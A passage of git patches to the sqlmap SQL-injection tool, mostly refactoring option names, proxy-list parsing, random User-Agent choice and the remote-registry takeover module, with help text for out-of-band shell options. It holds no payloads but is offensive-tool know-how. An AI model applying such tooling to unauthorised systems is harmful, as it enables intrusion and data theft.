a/lib/core/option.py b/lib/core/option.py index 514ce5a8e..2436a84be 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -511,7 +511,7 @@ def _setCrawler(): crawl(target) if conf.verbose in (1, 2): - status = '%d/%d links visited (%d%%)' % (i + 1, len(targets), round(100.0 * (i + 1) / len(targets))) + status = "%d/%d links visited (%d%%)" % (i + 1, len(targets), round(100.0 * (i + 1) / len(targets))) dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status), True) except Exception, ex: errMsg = "problem occurred while crawling at '%s' ('%s')" % (target, ex) From 95e7ca02f06e149a94e78c8354e5bb7787a6ca5a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 6 Apr 2014 16:45:25 +0200 Subject: [PATCH 253/889] Minor bug fix (-d was not recognized as one of mandatory in case of config file) --- lib/parse/configfile.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/parse/configfile.py b/lib/parse/configfile.py index e90330366..b5d576bfa 100644 --- a/lib/parse/configfile.py +++ b/lib/parse/configfile.py @@ -72,7 +72,8 @@ def configFileParser(configFile): errMsg = "missing a mandatory section 'Target' in the configuration file" raise SqlmapMissingMandatoryOptionException(errMsg) - condition = not config.has_option("Target", "url") + condition = not config.has_option("Target", "direct") + condition &= not config.has_option("Target", "url") condition &= not config.has_option("Target", "logFile") condition &= not config.has_option("Target", "bulkFile") condition &= not config.has_option("Target", "googleDork") @@ -81,7 +82,7 @@ def configFileParser(configFile): if condition: errMsg = "missing a mandatory option in the configuration file " - errMsg += "(url, logFile, bulkFile, googleDork, requestFile or wizard)" + errMsg += "(direct, url, logFile, bulkFile, googleDork, requestFile or wizard)" raise SqlmapMissingMandatoryOptionException(errMsg) for family, optionData in optDict.items(): From 0ae8ac707e13ac9934845f3d240ab7b2ad1726f8 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 6 Apr 2014 16:48:46 +0200 Subject: [PATCH 254/889] Renaming conf.pDel to conf.paramDel --- lib/controller/controller.py | 2 +- lib/core/common.py | 4 ++-- lib/core/option.py | 4 ++-- lib/core/optiondict.py | 2 +- lib/parse/cmdline.py | 2 +- lib/request/connect.py | 2 +- sqlmap.conf | 2 +- 7 files changed, 9 insertions(+), 9 deletions(-) diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 8221fbb81..b6a01dde9 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -277,7 +277,7 @@ def start(): testSqlInj = False if PLACE.GET in conf.parameters and not any([conf.data, conf.testParameter]): - for parameter in re.findall(r"([^=]+)=([^%s]+%s?|\Z)" % (conf.pDel or DEFAULT_GET_POST_DELIMITER, conf.pDel or DEFAULT_GET_POST_DELIMITER), conf.parameters[PLACE.GET]): + for parameter in re.findall(r"([^=]+)=([^%s]+%s?|\Z)" % (conf.paramDel or DEFAULT_GET_POST_DELIMITER, conf.paramDel or DEFAULT_GET_POST_DELIMITER), conf.parameters[PLACE.GET]): paramKey = (conf.hostname, conf.path, PLACE.GET, parameter[0]) if paramKey not in kb.testedParams: diff --git a/lib/core/common.py b/lib/core/common.py index 420850bd5..631775331 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -541,7 +541,7 @@ def paramToDict(place, parameters=None): if place == PLACE.COOKIE: splitParams = parameters.split(conf.cDel or DEFAULT_COOKIE_DELIMITER) else: - splitParams = parameters.split(conf.pDel or DEFAULT_GET_POST_DELIMITER) + splitParams = parameters.split(conf.paramDel or DEFAULT_GET_POST_DELIMITER) for element in splitParams: element = re.sub(r"%s(.+?)%s" % (PARAMETER_AMP_MARKER, PARAMETER_SEMICOLON_MARKER), r"&\g<1>;", element) @@ -550,7 +550,7 @@ def paramToDict(place, parameters=None): if len(parts) >= 2: parameter = parts[0].replace(" ", "") - if conf.pDel and conf.pDel == '\n': + if conf.paramDel and conf.paramDel == '\n': parts[-1] = parts[-1].rstrip() condition = not conf.testParameter diff --git a/lib/core/option.py b/lib/core/option.py index 2436a84be..960747e14 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1431,8 +1431,8 @@ def _cleanupOptions(): else: conf.rParam = [] - if conf.pDel and '\\' in conf.pDel: - conf.pDel = conf.pDel.decode("string_escape") + if conf.paramDel and '\\' in conf.paramDel: + conf.paramDel = conf.paramDel.decode("string_escape") if conf.skip: conf.skip = conf.skip.replace(" ", "") diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index c2f31bbbb..7694c0fdf 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -23,7 +23,7 @@ optDict = { "Request": { "data": "string", - "pDel": "string", + "paramDel": "string", "cookie": "string", "cDel": "string", "loadCookies": "string", diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 473f86e72..f5418a0f1 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -82,7 +82,7 @@ def cmdLineParser(): request.add_option("--data", dest="data", help="Data string to be sent through POST") - request.add_option("--param-del", dest="pDel", + request.add_option("--param-del", dest="paramDel", help="Character used for splitting parameter values") request.add_option("--cookie", dest="cookie", diff --git a/lib/request/connect.py b/lib/request/connect.py index 4d220adc9..b683c6991 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -757,7 +757,7 @@ class Connect(object): cookie = _randomizeParameter(cookie, randomParameter) if conf.evalCode: - delimiter = conf.pDel or DEFAULT_GET_POST_DELIMITER + delimiter = conf.paramDel or DEFAULT_GET_POST_DELIMITER variables = {} originals = {} diff --git a/sqlmap.conf b/sqlmap.conf index 3f1288480..942888d41 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -40,7 +40,7 @@ googleDork = data = # Character used for splitting parameter values -pDel = +paramDel = # HTTP Cookie header value. cookie = From 7cc41593166e0e84a0371ce259328dbbf1366307 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 6 Apr 2014 16:50:58 +0200 Subject: [PATCH 255/889] Renaming conf.cDel to conf.cookieDel --- lib/core/common.py | 2 +- lib/core/optiondict.py | 2 +- lib/parse/cmdline.py | 2 +- lib/request/basic.py | 4 ++-- lib/request/connect.py | 6 +++--- lib/request/redirecthandler.py | 2 +- sqlmap.conf | 2 +- 7 files changed, 10 insertions(+), 10 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 631775331..38fe61919 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -539,7 +539,7 @@ def paramToDict(place, parameters=None): parameters = parameters.replace(", ", ",") parameters = re.sub(r"&(\w{1,4});", r"%s\g<1>%s" % (PARAMETER_AMP_MARKER, PARAMETER_SEMICOLON_MARKER), parameters) if place == PLACE.COOKIE: - splitParams = parameters.split(conf.cDel or DEFAULT_COOKIE_DELIMITER) + splitParams = parameters.split(conf.cookieDel or DEFAULT_COOKIE_DELIMITER) else: splitParams = parameters.split(conf.paramDel or DEFAULT_GET_POST_DELIMITER) diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 7694c0fdf..338c686e8 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -25,7 +25,7 @@ optDict = { "data": "string", "paramDel": "string", "cookie": "string", - "cDel": "string", + "cookieDel": "string", "loadCookies": "string", "dropSetCookie": "boolean", "agent": "string", diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index f5418a0f1..59fde8517 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -88,7 +88,7 @@ def cmdLineParser(): request.add_option("--cookie", dest="cookie", help="HTTP Cookie header value") - request.add_option("--cookie-del", dest="cDel", + request.add_option("--cookie-del", dest="cookieDel", help="Character used for splitting cookie values") request.add_option("--load-cookies", dest="loadCookies", diff --git a/lib/request/basic.py b/lib/request/basic.py index d6ca0db2e..5947efe06 100755 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -94,7 +94,7 @@ def forgeHeaders(items=None): kb.mergeCookies = not _ or _[0] in ("y", "Y") if kb.mergeCookies: - _ = lambda x: re.sub("(?i)%s=[^%s]+" % (cookie.name, conf.cDel or DEFAULT_COOKIE_DELIMITER), "%s=%s" % (cookie.name, getUnicode(cookie.value)), x) + _ = lambda x: re.sub("(?i)%s=[^%s]+" % (cookie.name, conf.cookieDel or DEFAULT_COOKIE_DELIMITER), "%s=%s" % (cookie.name, getUnicode(cookie.value)), x) headers[HTTP_HEADER.COOKIE] = _(headers[HTTP_HEADER.COOKIE]) if PLACE.COOKIE in conf.parameters: @@ -103,7 +103,7 @@ def forgeHeaders(items=None): conf.httpHeaders = [(item[0], item[1] if item[0] != HTTP_HEADER.COOKIE else _(item[1])) for item in conf.httpHeaders] elif not kb.testMode: - headers[HTTP_HEADER.COOKIE] += "%s %s=%s" % (conf.cDel or DEFAULT_COOKIE_DELIMITER, cookie.name, getUnicode(cookie.value)) + headers[HTTP_HEADER.COOKIE] += "%s %s=%s" % (conf.cookieDel or DEFAULT_COOKIE_DELIMITER, cookie.name, getUnicode(cookie.value)) if kb.testMode: resetCookieJar(conf.cj) diff --git a/lib/request/connect.py b/lib/request/connect.py index b683c6991..bf2b5e25a 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -769,7 +769,7 @@ class Connect(object): evaluateCode("%s=%s" % (name.strip(), repr(value)), variables) if cookie: - for part in cookie.split(conf.cDel or DEFAULT_COOKIE_DELIMITER): + for part in cookie.split(conf.cookieDel or DEFAULT_COOKIE_DELIMITER): if '=' in part: name, value = part.split('=', 1) value = urldecode(value, convall=True) @@ -793,7 +793,7 @@ class Connect(object): found = True post = re.sub(regex, "\g<1>%s\g<3>" % value, post) - regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(conf.cDel or DEFAULT_COOKIE_DELIMITER), name, re.escape(conf.cDel or DEFAULT_COOKIE_DELIMITER)) + regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER), name, re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER)) if re.search(regex, (cookie or "")): found = True cookie = re.sub(regex, "\g<1>%s\g<3>" % value, cookie) @@ -804,7 +804,7 @@ class Connect(object): elif get is not None: get += "%s%s=%s" % (delimiter, name, value) elif cookie is not None: - cookie += "%s%s=%s" % (conf.cDel or DEFAULT_COOKIE_DELIMITER, name, value) + cookie += "%s%s=%s" % (conf.cookieDel or DEFAULT_COOKIE_DELIMITER, name, value) if not conf.skipUrlEncode: get = urlencode(get, limit=True) diff --git a/lib/request/redirecthandler.py b/lib/request/redirecthandler.py index ec893aed2..bbc566095 100644 --- a/lib/request/redirecthandler.py +++ b/lib/request/redirecthandler.py @@ -113,7 +113,7 @@ class SmartRedirectHandler(urllib2.HTTPRedirectHandler): if redurl and kb.redirectChoice == REDIRECTION.YES: req.headers[HTTP_HEADER.HOST] = getHostHeader(redurl) if headers and HTTP_HEADER.SET_COOKIE in headers: - req.headers[HTTP_HEADER.COOKIE] = headers[HTTP_HEADER.SET_COOKIE].split(conf.cDel or DEFAULT_COOKIE_DELIMITER)[0] + req.headers[HTTP_HEADER.COOKIE] = headers[HTTP_HEADER.SET_COOKIE].split(conf.cookieDel or DEFAULT_COOKIE_DELIMITER)[0] result = urllib2.HTTPRedirectHandler.http_error_302(self, req, fp, code, msg, headers) else: result = fp diff --git a/sqlmap.conf b/sqlmap.conf index 942888d41..210fa4259 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -46,7 +46,7 @@ paramDel = cookie = # Character used for splitting cookie values -cDel = +cookieDel = # File containing cookies in Netscape/wget format loadCookies = From 053b0fd0e9a5a3a13e289ce3eace55930b1f4e2a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 6 Apr 2014 16:54:46 +0200 Subject: [PATCH 256/889] Renaming conf.oDir to conf.outputDir --- lib/core/option.py | 4 ++-- lib/core/optiondict.py | 2 +- lib/parse/cmdline.py | 2 +- lib/utils/api.py | 12 ++++++------ sqlmap.conf | 2 +- 5 files changed, 11 insertions(+), 11 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index 960747e14..488f4c35e 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1507,8 +1507,8 @@ def _cleanupOptions(): if conf.torType: conf.torType = conf.torType.upper() - if conf.oDir: - paths.SQLMAP_OUTPUT_PATH = conf.oDir + if conf.outputDir: + paths.SQLMAP_OUTPUT_PATH = conf.outputDir setPaths() if conf.string: diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 338c686e8..7bede5304 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -191,7 +191,7 @@ optDict = { "forms": "boolean", "freshQueries": "boolean", "hexConvert": "boolean", - "oDir": "string", + "outputDir": "string", "parseErrors": "boolean", "pivotColumn": "string", "saveCmdline": "boolean", diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 59fde8517..27b29eb6b 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -611,7 +611,7 @@ def cmdLineParser(): action="store_true", help="Use DBMS hex function(s) for data retrieval") - general.add_option("--output-dir", dest="oDir", + general.add_option("--output-dir", dest="outputDir", action="store", help="Custom output directory path") diff --git a/lib/utils/api.py b/lib/utils/api.py index 7d1aafa3a..7a22bb123 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -144,20 +144,20 @@ class Task(object): self.options = AttribDict(self._original_options) def set_output_directory(self): - if self.get_option("oDir"): - if os.path.isdir(self.get_option("oDir")): - self.output_directory = self.get_option("oDir") + if self.get_option("outputDir"): + if os.path.isdir(self.get_option("outputDir")): + self.output_directory = self.get_option("outputDir") else: try: - os.makedirs(self.get_option("oDir")) - self.output_directory = self.get_option("oDir") + os.makedirs(self.get_option("outputDir")) + self.output_directory = self.get_option("outputDir") except OSError: pass if not self.output_directory or not os.path.isdir(self.output_directory): self.output_directory = tempfile.mkdtemp(prefix="sqlmapoutput-") self.temporary_directory = True - self.set_option("oDir", self.output_directory) + self.set_option("outputDir", self.output_directory) def clean_filesystem(self): if self.output_directory and self.temporary_directory: diff --git a/sqlmap.conf b/sqlmap.conf index 210fa4259..800c2d111 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -664,7 +664,7 @@ freshQueries = False hexConvert = False # Custom output directory path. -oDir = +outputDir = # Parse and display DBMS error messages from responses. # Valid: True or False From cf250a038105c91ec2fec856fe8c304de9e6c214 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 6 Apr 2014 17:02:32 +0200 Subject: [PATCH 257/889] Minor patch (it would go boom if special character was inside the --param-del) --- lib/controller/controller.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/controller/controller.py b/lib/controller/controller.py index b6a01dde9..c7984b97f 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -277,7 +277,7 @@ def start(): testSqlInj = False if PLACE.GET in conf.parameters and not any([conf.data, conf.testParameter]): - for parameter in re.findall(r"([^=]+)=([^%s]+%s?|\Z)" % (conf.paramDel or DEFAULT_GET_POST_DELIMITER, conf.paramDel or DEFAULT_GET_POST_DELIMITER), conf.parameters[PLACE.GET]): + for parameter in re.findall(r"([^=]+)=([^%s]+%s?|\Z)" % (re.escape(conf.paramDel) or DEFAULT_GET_POST_DELIMITER, re.escape(conf.paramDel) or DEFAULT_GET_POST_DELIMITER), conf.parameters[PLACE.GET]): paramKey = (conf.hostname, conf.path, PLACE.GET, parameter[0]) if paramKey not in kb.testedParams: From bbf08a825e98f8ec6c6b74c2a1e08b38e7110725 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 6 Apr 2014 17:12:43 +0200 Subject: [PATCH 258/889] Minor language fix --- lib/core/option.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/option.py b/lib/core/option.py index 488f4c35e..cc5412be2 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1046,7 +1046,7 @@ def _setHTTPProxy(): pass # drops into the next check block if not all((scheme, hasattr(PROXY_TYPE, scheme), hostname, port)): - errMsg = "proxy value must be in format '(%s)://url:port'" % "|".join(_[0].lower() for _ in getPublicTypeMembers(PROXY_TYPE)) + errMsg = "proxy value must be in format '(%s)://address:port'" % "|".join(_[0].lower() for _ in getPublicTypeMembers(PROXY_TYPE)) raise SqlmapSyntaxException(errMsg) if conf.proxyCred: From 36a590e0851faa35a60c673bedee996d09869aa3 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 6 Apr 2014 17:13:23 +0200 Subject: [PATCH 259/889] Minor language fix --- sqlmap.conf | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/sqlmap.conf b/sqlmap.conf index 800c2d111..c441eda5c 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -92,7 +92,7 @@ authCred = authPrivate = # Use a proxy to connect to the target URL. -# Syntax: http://address:port +# Syntax: (http|https|socks4|socks5)://address:port proxy = # Proxy authentication credentials. Useful only if the proxy requires From 1c92d8d51f9e3583a6e60ddd93c248a87af662d9 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 6 Apr 2014 17:23:13 +0200 Subject: [PATCH 260/889] More generic implementation for --proxy-file (accepting public lists format) --- lib/core/option.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/lib/core/option.py b/lib/core/option.py index cc5412be2..ef13c86b9 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -47,6 +47,7 @@ from lib.core.common import parseTargetUrl from lib.core.common import paths from lib.core.common import randomRange from lib.core.common import randomStr +from lib.core.common import readCachedFileContent from lib.core.common import readInput from lib.core.common import resetCookieJar from lib.core.common import runningAsAdmin @@ -1947,7 +1948,10 @@ def _setProxyList(): if not conf.proxyFile: return - conf.proxyList = getFileItems(conf.proxyFile) + conf.proxyList = [] + for match in re.finditer(r"(?i)((http[^:]*|socks[^:]*)://)?([\w.]+):(\d+)", readCachedFileContent(conf.proxyFile)): + _, type_, address, port = match.groups() + conf.proxyList.append("%s://%s:%s" % (type_ or "http", address, port)) def _setTorProxySettings(): if not conf.tor: From 9456dc68e7f89b60ef0030aeed17f3a6b15b3254 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 6 Apr 2014 17:24:27 +0200 Subject: [PATCH 261/889] Minor patch --- lib/controller/controller.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/controller/controller.py b/lib/controller/controller.py index c7984b97f..06f98fbc5 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -277,7 +277,7 @@ def start(): testSqlInj = False if PLACE.GET in conf.parameters and not any([conf.data, conf.testParameter]): - for parameter in re.findall(r"([^=]+)=([^%s]+%s?|\Z)" % (re.escape(conf.paramDel) or DEFAULT_GET_POST_DELIMITER, re.escape(conf.paramDel) or DEFAULT_GET_POST_DELIMITER), conf.parameters[PLACE.GET]): + for parameter in re.findall(r"([^=]+)=([^%s]+%s?|\Z)" % (re.escape(conf.paramDel or "") or DEFAULT_GET_POST_DELIMITER, re.escape(conf.paramDel or "") or DEFAULT_GET_POST_DELIMITER), conf.parameters[PLACE.GET]): paramKey = (conf.hostname, conf.path, PLACE.GET, parameter[0]) if paramKey not in kb.testedParams: From e93134461707457fa8373032e02f3a8037727eb7 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 6 Apr 2014 18:05:43 +0200 Subject: [PATCH 262/889] More elegant implementation for --random-agent --- lib/core/option.py | 12 ++---------- 1 file changed, 2 insertions(+), 10 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index ef13c86b9..1dd69192d 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -10,6 +10,7 @@ import glob import inspect import logging import os +import random import re import socket import string @@ -45,7 +46,6 @@ from lib.core.common import openFile from lib.core.common import parseTargetDirect from lib.core.common import parseTargetUrl from lib.core.common import paths -from lib.core.common import randomRange from lib.core.common import randomStr from lib.core.common import readCachedFileContent from lib.core.common import readInput @@ -1331,15 +1331,7 @@ def _setHTTPUserAgent(): conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, _defaultHTTPUserAgent())) return - count = len(kb.userAgents) - - if count == 1: - userAgent = kb.userAgents[0] - else: - userAgent = kb.userAgents[randomRange(stop=count - 1)] - - userAgent = sanitizeStr(userAgent) - conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, userAgent)) + userAgent = random.sample(kb.userAgents or [_defaultHTTPUserAgent()], 1)[0] infoMsg = "fetched random HTTP User-Agent header from " infoMsg += "file '%s': %s" % (paths.USER_AGENTS, userAgent) From bf18b025d631ca6dfdd07c5102485a420b7fdddf Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 6 Apr 2014 18:09:54 +0200 Subject: [PATCH 263/889] Minor removal of redundant code --- lib/core/option.py | 10 +++++----- lib/request/connect.py | 2 +- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index 1dd69192d..119d415b0 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2034,17 +2034,17 @@ def _basicOptionValidation(): errMsg = "value for option '--risk' must be an integer value from range [1, 3]" raise SqlmapSyntaxException(errMsg) - if conf.limitStart is not None and isinstance(conf.limitStart, int) and conf.limitStart > 0 and \ - conf.limitStop is not None and isinstance(conf.limitStop, int) and conf.limitStop < conf.limitStart: + if isinstance(conf.limitStart, int) and conf.limitStart > 0 and \ + isinstance(conf.limitStop, int) and conf.limitStop < conf.limitStart: errMsg = "value for option '--start' (limitStart) must be smaller or equal than value for --stop (limitStop) option" raise SqlmapSyntaxException(errMsg) - if conf.firstChar is not None and isinstance(conf.firstChar, int) and conf.firstChar > 0 and \ - conf.lastChar is not None and isinstance(conf.lastChar, int) and conf.lastChar < conf.firstChar: + if isinstance(conf.firstChar, int) and conf.firstChar > 0 and \ + isinstance(conf.lastChar, int) and conf.lastChar < conf.firstChar: errMsg = "value for option '--first' (firstChar) must be smaller than or equal to value for --last (lastChar) option" raise SqlmapSyntaxException(errMsg) - if conf.cpuThrottle is not None and isinstance(conf.cpuThrottle, int) and (conf.cpuThrottle > 100 or conf.cpuThrottle < 0): + if isinstance(conf.cpuThrottle, int) and (conf.cpuThrottle > 100 or conf.cpuThrottle < 0): errMsg = "value for option '--cpu-throttle' (cpuThrottle) must be in range [0,100]" raise SqlmapSyntaxException(errMsg) diff --git a/lib/request/connect.py b/lib/request/connect.py index bf2b5e25a..aeb85a36c 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -191,7 +191,7 @@ class Connect(object): the target URL page content """ - if conf.delay is not None and isinstance(conf.delay, (int, float)) and conf.delay > 0: + if isinstance(conf.delay, (int, float)) and conf.delay > 0: time.sleep(conf.delay) elif conf.cpuThrottle: cpuThrottle(conf.cpuThrottle) From 4f4c50c4d58231443e2a54cebbbea157baceb9be Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 6 Apr 2014 18:12:59 +0200 Subject: [PATCH 264/889] Minor language update --- lib/parse/cmdline.py | 4 ++-- sqlmap.conf | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 27b29eb6b..d3295c3a8 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -505,12 +505,12 @@ def cmdLineParser(): takeover.add_option("--os-pwn", dest="osPwn", action="store_true", help="Prompt for an OOB shell, " - "meterpreter or VNC") + "Meterpreter or VNC") takeover.add_option("--os-smbrelay", dest="osSmb", action="store_true", help="One click prompt for an OOB shell, " - "meterpreter or VNC") + "Meterpreter or VNC") takeover.add_option("--os-bof", dest="osBof", action="store_true", diff --git a/sqlmap.conf b/sqlmap.conf index c441eda5c..984def442 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -556,11 +556,11 @@ osCmd = # Valid: True or False osShell = False -# Prompt for an out-of-band shell, meterpreter or VNC. +# Prompt for an out-of-band shell, Meterpreter or VNC. # Valid: True or False osPwn = False -# One click prompt for an out-of-band shell, meterpreter or VNC. +# One click prompt for an out-of-band shell, Meterpreter or VNC. # Valid: True or False osSmb = False From 3beb1ae2a10bdc9f15d896524ab0adf03ec57b9c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 6 Apr 2014 18:15:06 +0200 Subject: [PATCH 265/889] Trivial fix (backslashes should be escaped) --- plugins/generic/takeover.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/plugins/generic/takeover.py b/plugins/generic/takeover.py index 5de0de8af..06b5d54db 100644 --- a/plugins/generic/takeover.py +++ b/plugins/generic/takeover.py @@ -372,7 +372,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous): self._regInit() if not conf.regKey: - default = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" + default = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion" msg = "which registry key do you want to read? [%s] " % default regKey = readInput(msg, default=default) else: From 9c7fbd1a90ba91357f5378699328c7ac1d06dc46 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 6 Apr 2014 18:19:54 +0200 Subject: [PATCH 266/889] Minor refactoring --- lib/core/enums.py | 5 +++++ lib/takeover/registry.py | 13 +++++++------ 2 files changed, 12 insertions(+), 6 deletions(-) diff --git a/lib/core/enums.py b/lib/core/enums.py index 53fce1aff..bc87b5a2a 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -140,6 +140,11 @@ class PROXY_TYPE: SOCKS4 = "SOCKS4" SOCKS5 = "SOCKS5" +class REGISTRY_OPERATION: + READ = "read" + ADD = "add" + DELETE = "delete" + class DUMP_FORMAT: CSV = "CSV" HTML = "HTML" diff --git a/lib/takeover/registry.py b/lib/takeover/registry.py index ab66758d5..36dbe295f 100644 --- a/lib/takeover/registry.py +++ b/lib/takeover/registry.py @@ -10,6 +10,7 @@ import os from lib.core.common import randomStr from lib.core.data import conf from lib.core.data import logger +from lib.core.enums import REGISTRY_OPERATION class Registry: """ @@ -49,11 +50,11 @@ class Registry: def _createLocalBatchFile(self): self._batPathFp = open(self._batPathLocal, "w") - if self._operation == "read": + if self._operation == REGISTRY_OPERATION.READ: lines = self._batRead - elif self._operation == "add": + elif self._operation == REGISTRY_OPERATION.ADD: lines = self._batAdd - elif self._operation == "delete": + elif self._operation == REGISTRY_OPERATION.DELETE: lines = self._batDel for line in lines: @@ -70,7 +71,7 @@ class Registry: os.unlink(self._batPathLocal) def readRegKey(self, regKey, regValue, parse=False): - self._operation = "read" + self._operation = REGISTRY_OPERATION.READ Registry._initVars(self, regKey, regValue, parse=parse) self._createRemoteBatchFile() @@ -90,7 +91,7 @@ class Registry: return data def addRegKey(self, regKey, regValue, regType, regData): - self._operation = "add" + self._operation = REGISTRY_OPERATION.ADD Registry._initVars(self, regKey, regValue, regType, regData) self._createRemoteBatchFile() @@ -103,7 +104,7 @@ class Registry: self.delRemoteFile(self._batPathRemote) def delRegKey(self, regKey, regValue): - self._operation = "delete" + self._operation = REGISTRY_OPERATION.DELETE Registry._initVars(self, regKey, regValue) self._createRemoteBatchFile() From 75f447ccf835685744ed0aaf999022696ed9afcb Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 7 Apr 2014 20:04:07 +0200 Subject: [PATCH 267/889] Renaming lib/core/purge to lib/utils/purge --- lib/core/option.py | 2 +- lib/{core => utils}/purge.py | 0 2 files changed, 1 insertion(+), 1 deletion(-) rename lib/{core => utils}/purge.py (100%) diff --git a/lib/core/option.py b/lib/core/option.py index 119d415b0..b1851b03b 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -92,7 +92,6 @@ from lib.core.exception import SqlmapUnsupportedDBMSException from lib.core.exception import SqlmapUserQuitException from lib.core.log import FORMATTER from lib.core.optiondict import optDict -from lib.core.purge import purge from lib.core.settings import ACCESS_ALIASES from lib.core.settings import BURP_REQUEST_REGEX from lib.core.settings import BURP_XML_HISTORY_REGEX @@ -146,6 +145,7 @@ from lib.request.templates import getPageTemplate from lib.utils.crawler import crawl from lib.utils.deps import checkDependencies from lib.utils.google import Google +from lib.utils.purge import purge from thirdparty.colorama.initialise import init as coloramainit from thirdparty.keepalive import keepalive from thirdparty.oset.pyoset import oset diff --git a/lib/core/purge.py b/lib/utils/purge.py similarity index 100% rename from lib/core/purge.py rename to lib/utils/purge.py From b74de1921330f0666d59f2855464491dbeecc6e3 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 7 Apr 2014 20:06:03 +0200 Subject: [PATCH 268/889] Trivial style update --- lib/utils/purge.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/utils/purge.py b/lib/utils/purge.py index 860c6495b..e1f891cff 100644 --- a/lib/utils/purge.py +++ b/lib/utils/purge.py @@ -44,7 +44,7 @@ def purge(directory): for filepath in filepaths: try: filesize = os.path.getsize(filepath) - with open(filepath, 'w+b') as f: + with open(filepath, "w+b") as f: f.write("".join(chr(random.randint(0, 255)) for _ in xrange(filesize))) except: pass From bcf754fb17242cd88ae4afd6c88d981b3fd55817 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 7 Apr 2014 20:10:21 +0200 Subject: [PATCH 269/889] Consistency patch (to be the same as in help listing) --- lib/core/option.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/option.py b/lib/core/option.py index b1851b03b..b905944cd 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1742,7 +1742,7 @@ def _useWizardInterface(): break else: warnMsg = 